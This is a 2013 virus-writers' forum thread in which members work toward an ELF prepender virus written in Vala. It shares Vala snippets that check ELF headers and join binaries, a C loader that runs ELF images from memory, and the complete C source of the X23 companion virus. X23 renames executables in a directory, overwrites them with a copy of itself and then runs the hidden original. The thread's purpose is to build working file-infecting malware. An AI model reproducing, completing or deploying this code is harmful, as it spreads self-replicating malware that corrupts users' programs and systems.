Topic: Vala virii

So Gnome introduced this language and is planning to make it the "future programming language for Linux" (but it works on Windows as well). I started developing with it and I might have something to share real soon with you guys.

If you search for Vala, you'll see that it's compiler translates the code into C code for native compilation, which is awesome.

Well, how does that differs from writing directly in C?

Vala is heavly based on C# (ofc, only the syntax) and this includes objects and all the new BS we have in present days so I imagine it will be kind of cool coding a virus in that language and making use of all this new features which will later be compiled into native C code!

I might be wasting everyones time with this but yeah I got 5 mins spare at work and resolved posting here lol

Last edited by guitmz (2013-07-25 22:05:39)

"There is no spoon."

Thumbs up Thumbs down

Re: Vala virii

nice man. i thought that my skill set is confined to zoo vxing winblows.

Aqua Sagitta + CHARAS Project
[Register or log in to view the URL]

Thumbs up Thumbs down

Re: Vala virii

Hahahahha anyways I'm working on a simple code in my spare time for the LIP (it will be simple but hey, will be something new as well)

"There is no spoon."

Thumbs up Thumbs down

Re: Vala virii

So what I did before was not viable apparently and I had to start over... So back to the 1st step!

(F*cking  bytes interections lol)

int main() {

var file = File.new_for_path("hello0");

        var file_stream = file.read ();
              
        var data_stream = new DataInputStream (file_stream);
        data_stream.set_byte_order (DataStreamByteOrder.LITTLE_ENDIAN);
        
        uint32 signature = data_stream.read_uint32 ();
        
        if (signature != 0x464c457f) {   // this hex code means ".ELF"
            stderr.printf ("Error: %s is not a valid ELF file\n", file.get_basename ());
            return 1;
        }
        else if (signature == 0x464c457f) {  // this hex code means ".ELF"
            print("ELF file signature found at: 0x464c457f (decimal: " + signature.to_string() + ")\nThis is a valid ELF file.\n"); 
            }

   return 0;

}

Need to think in a workaround to make a prepender with this language...

"There is no spoon."

Thumbs up Thumbs down

Re: Vala virii

guitmz wrote:

So what I did before was not viable apparently and I had to start over... So back to the 1st step!

(F*cking  bytes interections lol)

int main() {

var file = File.new_for_path("hello0");

        var file_stream = file.read ();
              
        var data_stream = new DataInputStream (file_stream);
        data_stream.set_byte_order (DataStreamByteOrder.LITTLE_ENDIAN);
        
        uint32 signature = data_stream.read_uint32 ();
        
        if (signature != 0x464c457f) {   // this hex code means ".ELF"
            stderr.printf ("Error: %s is not a valid ELF file\n", file.get_basename ());
            return 1;
        }
        else if (signature == 0x464c457f) {  // this hex code means ".ELF"
            print("ELF file signature found at: 0x464c457f (decimal: " + signature.to_string() + ")\nThis is a valid ELF file.\n"); 
            }

   return 0;

}

Need to think in a workaround to make a prepender with this language...

I'm looking forward to see this.

•*¨*•,_Genetix_.•*¨*•

Thumbs up Thumbs down

Re: Vala virii

Thanks slek! I hope I finish it in time... just need to find ways to do what I need in that language smile

I predict i'll have a LOT of useless cr*p code after I finish hahahhaa

"There is no spoon."

Thumbs up Thumbs down

Re: Vala virii

Some progess smile (this code is only to test some functions, with this im able to join two ELF files into one but i cannot make this file to run both codes yet)

using Gee;
   
int main() {
        
        uint8[] contents;
        uint8[] contents2;
        string etag_out;
        string etag_out2;
        size_t bytes_written;
        size_t bytes_written2;
            
        var file = File.new_for_path("hello0");
        var file2 = File.new_for_path("hello1");
       
        file.load_contents (null, out contents, out etag_out);

        file2.load_contents (null, out contents2, out etag_out2);
                      
        var file3 = File.new_for_path("new_file");
        var file_created = file3.create(FileCreateFlags.NONE);
        
        var data_stream3 = new DataOutputStream(file_created);
        data_stream3.write_all(contents, out bytes_written);
        data_stream3.write_all(contents2, out bytes_written2);
       
       return 0;
}
"There is no spoon."

Thumbs up Thumbs down

Re: Vala virii

@slek

and oh, I hope you dont mind if I use a function from a code you posted some time ago (need to fix it first, it's not working at the moment)

bool checkmark(string buf)
        {
            char* aa = "\x68\x65\x6c\x6c\x6f";
            string strChk = "mark";
            
            for (int x = 1; x < buf.length; ++x)
            {
                if (buf[x] == strChk[0])
                {
                    int y;
                    for (y = 1; y < strChk.length; ++y)
                    {
                        if ((x + y) >= buf.length)
                            break;
                        if (buf[x + y] != strChk[y])
                            break;
                    }
                    
                    if (y == strChk.length)
                    {
                        return true;
                    }
                }
            }
            return false;
        }

EDIT: is working now hehe

Last edited by guitmz (2013-08-22 05:01:29)

"There is no spoon."

Thumbs up Thumbs down

Re: Vala virii

So the code is almost done. Just need to create the infection routine.. I'm sad that I won't be able to make a memory exec with this and will have to use tmp files sad

"There is no spoon."

Thumbs up Thumbs down

Re: Vala virii

guitmz wrote:

So the code is almost done. Just need to create the infection routine.. I'm sad that I won't be able to make a memory exec with this and will have to use tmp files sad

It's going to be a prepender.

"I won't be able to make a memory exec with this and will have to use tmp files sad"

You've spent way to long playing with those bot's!

•*¨*•,_Genetix_.•*¨*•

Thumbs up Thumbs down

Re: Vala virii

slek wrote:
guitmz wrote:

So the code is almost done. Just need to create the infection routine.. I'm sad that I won't be able to make a memory exec with this and will have to use tmp files sad

It's going to be a prepender.

"I won't be able to make a memory exec with this and will have to use tmp files sad"

You've spent way to long playing with those bot's!


hahah no no... but it would be nice to run the ELF in memory instead of dropping a tmp file, but that's beyond the project scope here

"There is no spoon."

Thumbs up Thumbs down

Re: Vala virii

guitmz wrote:

hahah no no... but it would be nice to run the ELF in memory instead of dropping a tmp file, but that's beyond the project scope here

correct me if i'm wrong, but everything in linux is mapped to a file, and if you did memory execute, wont that new elf be mapped to disk too? in /proc/<pid>/a.out ? so it would defy the purpose of memory execute?

Thumbs up Thumbs down

Re: Vala virii

Hecktor wrote:
guitmz wrote:

hahah no no... but it would be nice to run the ELF in memory instead of dropping a tmp file, but that's beyond the project scope here

correct me if i'm wrong, but everything in linux is mapped to a file, and if you did memory execute, wont that new elf be mapped to disk too? in /proc/<pid>/a.out ? so it would defy the purpose of memory execute?

he's worked so hard on this and he's excited, I don't want to take that feeling from him.  (but you are right hecktor) although it's not required at-all. I guess I will just wait until he's finished this and then talk to him^^

Last edited by slek (2013-09-01 06:19:05)

•*¨*•,_Genetix_.•*¨*•

Thumbs up Thumbs down

Re: Vala virii

Yeah guys... I realize all that smile but I was chatting with herm1t regarding something I saw a while ago and got excited for nothing I guess hehe.

loader.c

#include <stdio.h>
#include <string.h>
#include <libelf.h>
#include <sys/mman.h>
#include <dlfcn.h>

void printk(const char* msg)
{
    fputs(msg, stderr);
}

int is_image_valid(Elf32_Ehdr *hdr)
{
    return 1;
}

void *resolve(const char* sym)
{
    static void *handle = NULL;
    if (handle == NULL) {
        handle = dlopen("libc.so", RTLD_NOW);
    }
    return dlsym(handle, sym);
}

void relocate(Elf32_Shdr* shdr, const Elf32_Sym* syms, const char* strings, const char* src, char* dst)
{
    Elf32_Rel* rel = (Elf32_Rel*)(src + shdr->sh_offset);
    int j;
    for(j = 0; j < shdr->sh_size / sizeof(Elf32_Rel); j += 1) {
        const char* sym = strings + syms[ELF32_R_SYM(rel[j].r_info)].st_name;
        switch(ELF32_R_TYPE(rel[j].r_info)) {
            case R_386_JMP_SLOT:
            case R_386_GLOB_DAT:
                *(Elf32_Word*)(dst + rel[j].r_offset) = (Elf32_Word)resolve(sym);
                break;
        }
    }
}

void* find_sym(const char* name, Elf32_Shdr* shdr, const char* strings, const char* src, char* dst)
{
    Elf32_Sym* syms = (Elf32_Sym*)(src + shdr->sh_offset);
    int i;
    for(i = 0; i < shdr->sh_size / sizeof(Elf32_Sym); i += 1) {
        if (strcmp(name, strings + syms[i].st_name) == 0) {
            return dst + syms[i].st_value;
        }
    }
    return NULL;
}

void *image_load (char *elf_start, unsigned int size)
{
    Elf32_Ehdr      *hdr     = NULL;
    Elf32_Phdr      *phdr    = NULL;
    Elf32_Shdr      *shdr    = NULL;
    Elf32_Sym       *syms    = NULL;
    char            *strings = NULL;
    char            *start   = NULL;
    char            *taddr   = NULL;
    void            *entry   = NULL;
    int i = 0;
    char *exec = NULL;

    hdr = (Elf32_Ehdr *) elf_start;

    if(!is_image_valid(hdr)) {
        printk("image_load:: invalid ELF image\n");
        return 0;
    }

    exec = mmap(NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

    if(!exec) {
        printk("image_load:: error allocating memory\n");
        return 0;
    }

    // Start with clean memory.
    memset(exec,0x0,size);

    phdr = (Elf32_Phdr *)(elf_start + hdr->e_phoff);

    for(i=0; i < hdr->e_phnum; ++i) {
            if(phdr[i].p_type != PT_LOAD) {
                    continue;
            }
            if(phdr[i].p_filesz > phdr[i].p_memsz) {
                    printk("image_load:: p_filesz > p_memsz\n");
                    munmap(exec, size);
                    return 0;
            }
            if(!phdr[i].p_filesz) {
                    continue;
            }

            // p_filesz can be smaller than p_memsz,
            // the difference is zeroe'd out.
            start = elf_start + phdr[i].p_offset;
            taddr = phdr[i].p_vaddr + exec;
            memmove(taddr,start,phdr[i].p_filesz);

            if(!(phdr[i].p_flags & PF_W)) {
                    // Read-only.
                    mprotect((unsigned char *) taddr,
                              phdr[i].p_memsz,
                              PROT_READ);
            }

            if(phdr[i].p_flags & PF_X) {
                    // Executable.
                    mprotect((unsigned char *) taddr,
                            phdr[i].p_memsz,
                            PROT_EXEC);
            }
    }

    shdr = (Elf32_Shdr *)(elf_start + hdr->e_shoff);

    for(i=0; i < hdr->e_shnum; ++i) {
        if (shdr[i].sh_type == SHT_DYNSYM) {
            syms = (Elf32_Sym*)(elf_start + shdr[i].sh_offset);
            strings = elf_start + shdr[shdr[i].sh_link].sh_offset;
            entry = find_sym("main", shdr + i, strings, elf_start, exec);
            break;
        }
    }

    for(i=0; i < hdr->e_shnum; ++i) {
        if (shdr[i].sh_type == SHT_REL) {
            relocate(shdr + i, syms, strings, elf_start, exec);
        }
    }

   return entry;

}/* image_load */

int main(int argc, char** argv, char** envp)
{
    int (*ptr)(int, char **, char**);
    static char buf[1048576];
    FILE* elf = fopen(argv[1], "rb");
    fread(buf, sizeof buf, 1, elf);
    ptr=image_load(buf, sizeof buf);
    return ptr(argc,argv,envp);
}

Example elf.c:

#include <stdio.h>

int main()
{
    fprintf(stdout, "Hello world! fprintf=%p, stdout=%p\n", fprintf, stdout);
    return 0;
}

Test run:

$ gcc -m32 -g -Wall -ldl -o loader loader.c
$ gcc -m32 -pie -fPIE -o elf elf.c
$ ./loader elf
Hello world! fprintf=0xf7612420, stdout=0xf770e4c0
"There is no spoon."

Thumbs up Thumbs down

Re: Vala virii

soooo it looks like we have another talented programmer in the making.. neutral

•*¨*•,_Genetix_.•*¨*•

Thumbs up +1 Thumbs down

Re: Vala virii

big_smile ... That's not possible in Vala anyways (I guess)

Last edited by guitmz (2013-09-03 02:56:13)

"There is no spoon."

Thumbs up Thumbs down

Re: Vala virii

ugh... this is stopped since a while.. cant seem to figure out how to execute bytes in vala (the host code)

"There is no spoon."

Thumbs up Thumbs down

Re: Vala virii

#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <sys/stat.h>
#include <string.h>

DIR *dirp;                            /* directory search structure */
struct dirent *dp;                    /* directory entry record */
struct stat st;                       /* file status record */
int stst;                             /* status call status */
FILE *host,*virus;                    /* host and virus files. */
long FileID;                          /* 1st 4 bytes of host */
char buf[512];                        /* buffer for disk reads/writes */
char *lc,*ld;                             /* used to search for X23 */
size_t amt_read,hst_size;             /* amount read from file, host size */
size_t vir_size=13128;                /* size of X23, in bytes */
char dirname[10];                     /* subdir where X23 stores itself */
char hst[512];

int main(argc, argv, envp)
 int argc;
 char *argv[], *envp[];
 {
    strcpy((char *)&dirname,"./\005");         /* set up host directory name */
    dirp=opendir(".");                              /* begin directory search */
    while ((dp=readdir(dirp))!=NULL) {           /* have a file, check it out */
     if ((stst=stat((const char *)&dp->d_name,&st))==0) {       /* get status */
        lc=(char *)&dp->d_name;
        while (*lc!=0) lc++;
        lc=lc-3;                    /* lc points to last 3 chars in file name */
        if ((!((*lc=='X')&&(*(lc+1)=='2')&&(*(lc+2)=='3')))         /* "X23"? */
                 &&(st.st_mode&S_IXUSR!=0)) {              /* and executable? */
          strcpy((char *)&buf,(char *)&dirname);
          strcat((char *)&buf,"/");
          strcat((char *)&buf,(char *)&dp->d_name);        /* see if X23 file */
          strcat((char *)&buf,".X23");                      /* exists already */
          if ((host=fopen((char *)&buf,"r"))!=NULL) fclose(host);
          else {                                   /* no it doesn't - infect! */
            host=fopen((char *)&dp->d_name,"r");
            fseek(host,0L,SEEK_END);                   /* determine host size */
            hst_size=ftell(host);
            fclose(host);
            if (hst_size>=vir_size) {        /* host must be large than virus */

              mkdir((char *)&dirname,777);
              rename((char *)&dp->d_name,(char *)&buf);        /* rename host */
              if ((virus=fopen(argv[0],"r"))!=NULL) {
                if ((host=fopen((char *)&dp->d_name,"w"))!=NULL) {
                  while (!feof(virus)) {            /* and copy virus to orig */
                    amt_read=512;                                /* host name */
                    amt_read=fread(&buf,1,amt_read,virus);
                    fwrite(&buf,1,amt_read,host);
                    hst_size=hst_size-amt_read;
                    }
                  fwrite(&buf,1,hst_size,host);
                  fclose(host);
                  strcpy((char *)&buf,(char *)&dirname);     /* make it exec! */
                  strcpy((char *)&buf,"/");
                  strcat((char *)&buf,(char *)&dp->d_name);
                  chmod((char *)&buf,S_IRWXU|S_IXGRP|S_IXOTH);
                  }
                else
                  rename((char *)&buf,(char *)&dp->d_name);
                fclose(virus);                  /* infection process complete */
                }                                            /* for this file */
              else
                rename((char *)&buf,(char *)&dp->d_name);
              }
            }
          }
        }
     }
    (void)closedir(dirp);          /* infection process complete for this dir */
    strcpy((char *)&buf,argv[0]);          /* the host is this program's name */
    lc=(char *)&buf;
    while (*lc!=0) lc++;
    while (*lc!='/') lc--;
    *lc=0; lc++;
    strcpy((char *)&hst,(char *)&buf);
    ld=(char *)&dirname+1;
    strcat((char *)&hst,(char *)ld);
    strcat((char *)&hst,"/");
    strcat((char *)&hst,(char *)lc);
    strcat((char *)&hst,".X23");                     /* with an X23 tacked on */
    execve((char *)&hst,argv,envp);            /* execute this program's host */
    }

x23.c source from The Giant Black Book of Computer Viruses. Works on Unix and Linux ELF 32-bit files.

If you enjoy my work or ideas please click thumbs up! big_smile
I am a 22 year old Composer, Musician, Programmer, Linux User, Android ROM and Developer, Ubuntu Touch HomeBrew Developer, and Open webOS(Lune OS[Android Based]) Developer.

Thumbs up Thumbs down